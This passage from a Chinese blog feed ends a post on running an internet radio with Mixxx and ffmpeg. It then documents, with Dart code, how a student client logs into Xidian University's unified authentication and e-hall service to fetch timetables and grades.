界面概览\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e如果你想增加个麦克风的话,你可以在设置里面添加之。这个东西还能添加应用程序作为输入源呢,不过需要搞啥回环声音设备之类,我觉得很不好用,应该有更好的解决方案吧。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/How%20to%20Operate%20an%20Internet%20Radio/Mixxx-Microphone.png\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/How%20to%20Operate%20an%20Internet%20Radio/Mixxx-Microphone.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"设置输入设备\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e设置输入设备\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e最后,就是规定你的广播地址了。这个看截图应该更明白吧\u0026hellip;\u0026hellip;\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/How%20to%20Operate%20an%20Internet%20Radio/Mixxx-Broadcast.png\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/How%20to%20Operate%20an%20Internet%20Radio/Mixxx-Broadcast.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"设置广播例子\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e设置广播例子\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e好了,开启你的自动DJ功能,合适时候开下麦克风,Let\u0026rsquo;s on air!\u003c/p\u003e\n\u003ch3 id=\"ffmpeg-极简主义\"\u003eFFMpeg 极简主义\u003c/h3\u003e\n\u003cp\u003e没错,ffmpeg 也能推流 icecast 捏。不过一般都是用来转播别的广播台233,图个测试用途。看看我用来推流中国之声到服务器上面的命令。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003effmpeg -re -i \u003cspan class=\"s2\"\u003e\u0026#34;https://ngcdn001.cnr.cn/live/zgzs/index.m3u8\u0026#34;\u003c/span\u003e \u003cspan class=\"se\"\u003e\\ \u003c/span\u003e \u003cspan class=\"c1\"\u003e# 音频源头\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e -f opus -content_type application/ogg \u003cspan class=\"se\"\u003e\\ \u003c/span\u003e \u003cspan class=\"c1\"\u003e# 推流的格式和发送过去的 Content_Type\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e -ice_description \u003cspan class=\"s2\"\u003e\u0026#34;转播中国之声\u0026#34;\u003c/span\u003e -ice_name \u003cspan class=\"s2\"\u003e\u0026#34;CNR News Transfer\u0026#34;\u003c/span\u003e \u003cspan class=\"se\"\u003e\\ \u003c/span\u003e\u003cspan class=\"c1\"\u003e# 该推流的描述和名称(不填写也可以)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;icecast://source:上面设置的推流密码@服务器ip或者域名:8000/cnr-news-transfer\u0026#34;\u003c/span\u003e \u003cspan class=\"c1\"\u003e# 推流目的地址 \u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e具体想知道咋用的话,看看\u003ca class=\"link\" href=\"https://ffmpeg.org/ffmpeg-protocols.html#Icecast\" target=\"_blank\" rel=\"noopener\"\n \u003e这个链接\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e最后说一句,本人十分不建议推流视频到 Icecast 服务器上,挺难用的。( Icecast 官方说支持 opus 和 webm,我知道最后那个是视频格式 )\u003c/p\u003e\n\u003ch2 id=\"让听众听见你的声音\"\u003e让听众听见你的声音\u003c/h2\u003e\n\u003cp\u003e实际上这块很水了,点到为止得了\u0026hellip;\u0026hellip;\u003c/p\u003e\n\u003cp\u003e一个途径是,让你的听众打开你的推流地址,应该可以直接播放,如果浏览器支持的话\u0026hellip;\u0026hellip;\u003c/p\u003e\n\u003cp\u003e或者说,你给他们推流链接,让他们拿啥播放器打开\u0026hellip;\u0026hellip;\u003c/p\u003e\n\u003ch2 id=\"最后\"\u003e最后\u003c/h2\u003e\n\u003cp\u003e电台开起来了,放啥东西合适呢?实际上我也不知道,感觉听众不喜欢听新闻\u0026hellip;\u0026hellip;\u003c/p\u003e\n\u003cp\u003e毕竟电台已经成为了某种怀旧的东西了,不过想想我在寒假那时候搭的电台,还是很能缓解一下某种孤独感的。我是那种倾向于向公众大喊\u0026quot;来看看我啊\u0026quot;的内向疯子:-P\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/how-to-operate-an-internet-radio.html"},{"title":"关于西电一站式服务大厅背后的那点事","time":"2022-08-31T00:00:00Z","content":"\u003cimg src=\"https://legacy.superbart.top/picture/Random/Coding%20to%20a%20cure%20girl.jpg\" alt=\"Featured image of post 关于西电一站式服务大厅背后的那点事\" /\u003e\u003ch1 id=\"关于如何使用西电一站式服务大厅\"\u003e关于如何使用西电一站式服务大厅\u003c/h1\u003e\n\u003cp\u003e好吧,这个假期闲得慌想用 Flutter 把电表重写了(毕竟本人能力很差,就很容易瞎想)。目前开发还是没个身影,但是我感觉,我把核心功能给写出来了,就差套个壳。我觉得,核心功能就是从学校服务器上当下来我需要的数据。根据\u003ca class=\"link\" href=\"https://github.com/BenderBlog/watermeter\" target=\"_blank\" rel=\"noopener\"\n \u003e我项目的简介\u003c/a\u003e,应该是开发完大半了。\u003c/p\u003e\n\u003cp\u003e但是呢,鉴于本人的鸽子属性,我感觉我得在我将来大概率弃坑之前,留点材料,以方便将来有比我更无聊,更疯狂的人来完成他心目中的电表。\u003c/p\u003e\n\u003ch2 id=\"关于我校一站式服务大厅\"\u003e关于我校一站式服务大厅\u003c/h2\u003e\n\u003cp\u003e我们学校的一站式服务大厅是由南京金智教育开发的,而且很多学校都用这个系统。所以,接下来的部分,感觉很多同志们都能适用。\u003c/p\u003e\n\u003cp\u003e我们学校的一站式大厅有很多功能,不过其中仅仅有很少的一部分我们能用。我感觉平常使用最多的就是:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e课表\u003c/li\u003e\n\u003cli\u003e成绩查询\u003c/li\u003e\n\u003cli\u003e考试安排\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e而我们平常要使用一站式(或者其他东西,比如健康报告)的话,一般都要先登陆统一认证平台,之后才能进入一站式。而这个统一认证平台,也是金智的:-P\u003c/p\u003e\n\u003ch2 id=\"提前说明\"\u003e提前说明\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e以下使用的语言是 Dart,编写 Flutter 应用的语言。个人觉得还算好理解吧\u0026hellip;\u0026hellip;\u003c/li\u003e\n\u003cli\u003e下面步骤,会多次出现本人故意暂停跳转情况发生。因为我发现,要是自动跳转,可能 Cookie 会存不下来,要是 python 的 request 库就没有这个问题。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"如何登陆统一认证平台\"\u003e如何登陆统一认证平台\u003c/h2\u003e\n\u003ch3 id=\"工具\"\u003e工具\u003c/h3\u003e\n\u003cp\u003e根据 \u003ca class=\"link\" href=\"https://github.com/xdlinux/xidian-scripts\" target=\"_blank\" rel=\"noopener\"\n \u003exidian-script\u003c/a\u003e 姐妹计划 \u003ca class=\"link\" href=\"https://github.com/xdlinux/libxduauth\" target=\"_blank\" rel=\"noopener\"\n \u003elibxduauth\u003c/a\u003e 所说,登陆所需要的工具如下:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eCookie Jar。\u003c/li\u003e\n\u003cli\u003e网络传输工具,其中需要设置 \u003ccode\u003eapplication/x-www-form-urlencoded\u003c/code\u003e 来传输参数。\u003c/li\u003e\n\u003cli\u003e网页分析工具,比如大名鼎鼎的 BeautifulSoup 库。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"操作步骤\"\u003e操作步骤\u003c/h3\u003e\n\u003ch4 id=\"获取登陆网页\"\u003e获取登陆网页\u003c/h4\u003e\n\u003cp\u003e向 \u003ca class=\"link\" href=\"http://ids.xidian.edu.cn/authserver/login\" target=\"_blank\" rel=\"noopener\"\n \u003ehttp://ids.xidian.edu.cn/authserver/login\u003c/a\u003e 发送 GET 请求,其中请求参数是:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;service\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e接下来要访问的网址\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;type\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;userNameLogin\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e如果正常,会返回登录网页。\u003c/p\u003e\n\u003cp\u003e将登陆网页交给网页分析工具,让他找到网页中 id 为 pwdFromId 的元素们,这里记为 form:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-Dart\" data-lang=\"Dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e/// Import \u0026#39;package:beautiful_soup_dart/beautiful_soup.dart\u0026#39; before use.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003epage\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eBeautifulSoup\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eresponse\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003eform\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003epage\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efind\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;form\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nl\"\u003eattrs:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;id\u0026#34;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;pwdFromId\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"检查是否需要验证码\"\u003e检查是否需要验证码\u003c/h4\u003e\n\u003cp\u003e向 \u003ca class=\"link\" href=\"http://ids.xidian.edu.cn/authserver/checkNeedCaptcha.htl\" target=\"_blank\" rel=\"noopener\"\n \u003ehttp://ids.xidian.edu.cn/authserver/checkNeedCaptcha.htl\u003c/a\u003e 发送 GET 请求,请求参数是\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;username\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e填入你的学号\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;_\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"err\"\u003e目前时间戳\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e查看返回值中有没有 \t\u003ccode\u003etrue\u003c/code\u003e 。\u003c/p\u003e\n\u003cp\u003e如果需要填入验证码的话,向 \u003ca class=\"link\" href=\"http://ids.xidian.edu.cn/authserver/getCaptcha.htl\" target=\"_blank\" rel=\"noopener\"\n \u003ehttp://ids.xidian.edu.cn/authserver/getCaptcha.htl\u003c/a\u003e 获取验证码图片,请求参数是\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"err\"\u003e目前时间戳:\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"加密密码\"\u003e加密密码\u003c/h4\u003e\n\u003cp\u003e首先,我们需要填充密码。这里我们使用 PKCS7 填充方式。我的程序自己实现了,因为没看明白 Dart 里面 PKCS7 咋用的:-(:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e由于加密方式是 AES,要求分组长度是 128 bytes,根据 1 bit = 8 bytes,需要字符串长度是 16 的倍数。\u003c/li\u003e\n\u003cli\u003e先在密码字符串前面插上 xidianscriptsxdu 四遍(正好是 16 长的字符串,Dart 默认给的是随机字符串),然后将字符串转换成 int 数组(也就是把每个字符转换成对应的 ASCII 码)。\u003c/li\u003e\n\u003cli\u003e然后计算我们还需要在后面插入多少元素来满足 16 的倍数,差几个在后面插入几个。插入内容为插入元素的个数。注意,要是一个都不差,也得插入数据,来保证数据和插入值都存在。\u003c/li\u003e\n\u003cli\u003e由于接下来加密需要的是数字数组,所以不变回字符串。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e然后,从 form 里面寻找 input 标签,且 id 为 pwdEncryptSalt 的元素,这里面是加密密码的密钥(还是盐啥的)。最后,使用 AES-CBC 算法加密,然后返回字符串。\u003c/p\u003e\n\u003cp\u003e上述步骤的具体代码如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-Dart\" data-lang=\"Dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e/// Get base64 encoded data. Which is aes encrypted [toEnc] encoded string using [key].\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e/// Padding part is copied from libxduauth\u0026#34;s idea.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e/// Import \u0026#34;package:encrypt/encrypt.dart\u0026#34; before use.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003eaesEncrypt\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003etoEnc\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003edynamic\u003c/span\u003e \u003cspan class=\"n\"\u003ek\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eKey\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efromUtf8\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003ecrypt\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eAES\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ek\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nl\"\u003emode:\u003c/span\u003e \u003cspan class=\"n\"\u003eAESMode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecbc\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nl\"\u003epadding:\u003c/span\u003e \u003cspan class=\"kc\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e/// Start padding\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eblockSize\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e16\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003edataToPad\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e[];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003edataToPad\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eaddAll\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eencode\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;xidianscriptsxduxidianscriptsxduxidianscriptsxduxidianscriptsxdu\u003c/span\u003e\u003cspan class=\"si\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003etoEnc\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003epaddingLength\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eblockSize\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"n\"\u003edataToPad\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elength\u003c/span\u003e \u003cspan class=\"o\"\u003e%\u003c/span\u003e \u003cspan class=\"n\"\u003eblockSize\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003epaddingLength\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003edataToPad\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epaddingLength\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003ereadyToEnc\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edecode\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edataToPad\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e/// Start encrypt.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eEncrypter\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecrypt\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eencrypt\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ereadyToEnc\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nl\"\u003eiv:\u003c/span\u003e \u003cspan class=\"n\"\u003eIV\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efromUtf8\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;xidianscriptsxdu\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebase64\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"发送登陆报文\"\u003e发送登陆报文\u003c/h4\u003e\n\u003cp\u003e首先,构建登陆请求所需要的头。初步需要三个信息:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eusername:你的学号\u003c/li\u003e\n\u003cli\u003epassword:加密过的密码\u003c/li\u003e\n\u003cli\u003erememberMe:防止之后又走一遍登陆过程\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e在此之后,我们需要寻找很多预配置的头,加入到我们的头中。这些元素都在 form 中,是 input 标签 ,参数是 \u003ccode\u003etype=hidden\u003c/code\u003e 。循环将其插入到请求头中。\u003c/p\u003e\n\u003cp\u003e最后,向 \u003ca class=\"link\" href=\"http://ids.xidian.edu.cn/authserver/login\" target=\"_blank\" rel=\"noopener\"\n \u003ehttp://ids.xidian.edu.cn/authserver/login\u003c/a\u003e 发送 POST 请求,其中请求头是上面搞过的请求头,请求参数是 \u003ccode\u003e{\u0026quot;service\u0026quot;: 接下来要访问的网址}\u003c/code\u003e ,请求不要自动跳转。\u003c/p\u003e\n\u003cp\u003e如果正常,ids.xidian.edu.cn 下面的 Cookie 会多一个 \u003ccode\u003ehappyVoyagePersonal=...; Path=/personalinfo\u003c/code\u003e。然后需要我们自己向需要跳转的新网址发 GET 请求,同样,不需要自动跳转。\u003c/p\u003e\n\u003cp\u003e到此,通过统一认证平台,我们登陆了一站式服务大厅。\u003c/p\u003e\n\u003ch2 id=\"使用一站式服务大厅\"\u003e使用一站式服务大厅\u003c/h2\u003e\n\u003cp\u003e首先给个表格:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e应用名称\u003c/th\u003e\n\u003cth\u003e内部序号(appID)\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003e课表\u003c/td\u003e\n\u003ctd\u003e4770397878132218\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e成绩\u003c/td\u003e\n\u003ctd\u003e4768574631264620\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e考试安排\u003c/td\u003e\n\u003ctd\u003e4768687067472349\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e个人信息\u003c/td\u003e\n\u003ctd\u003e4585275700341858\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"如何进入应用\"\u003e如何进入应用\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e验证是否登录。向 \u003ca class=\"link\" href=\"http://ehall.xidian.edu.cn/jsonp/userFavoriteApps.json\" target=\"_blank\" rel=\"noopener\"\n \u003ehttp://ehall.xidian.edu.cn/jsonp/userFavoriteApps.json\u003c/a\u003e 发送 GET 请求,查看返回的数据中,hasLogin 是否为 true。如果没登录,则需要登录。登陆需要的 target 是 \u003ca 